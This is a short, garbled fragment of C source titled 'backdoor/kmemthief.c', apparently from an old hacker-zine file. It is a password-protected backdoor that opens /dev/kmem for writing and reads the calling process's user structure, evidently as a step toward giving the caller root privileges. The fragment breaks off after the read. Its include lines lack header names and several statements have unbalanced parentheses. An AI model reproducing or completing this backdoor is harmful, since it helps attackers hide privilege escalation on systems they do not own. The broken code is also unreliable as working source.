山^鹰

<++> backdoor/kmemthief.c
#include
#include
#include
#include
#include
#include
#include

#define pass "triad"

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{

int count, fd;
long where, lseek();

if(argv[1]){
if(!(strcmp(pass,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);

if(fd<0){
printf("Cannot read or write to
/dev/kmem\n");
perror(argv);
exit(10);
}

userlocation=address();
where=(lseek(fd,userlocation,0);

if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(20);
}

count=read(fd,&userpage,sizeof(struct user));

if(count!=sizeof(struct user)){
printf("Cannot read user page\n");
perror(argv);
exit(30);
}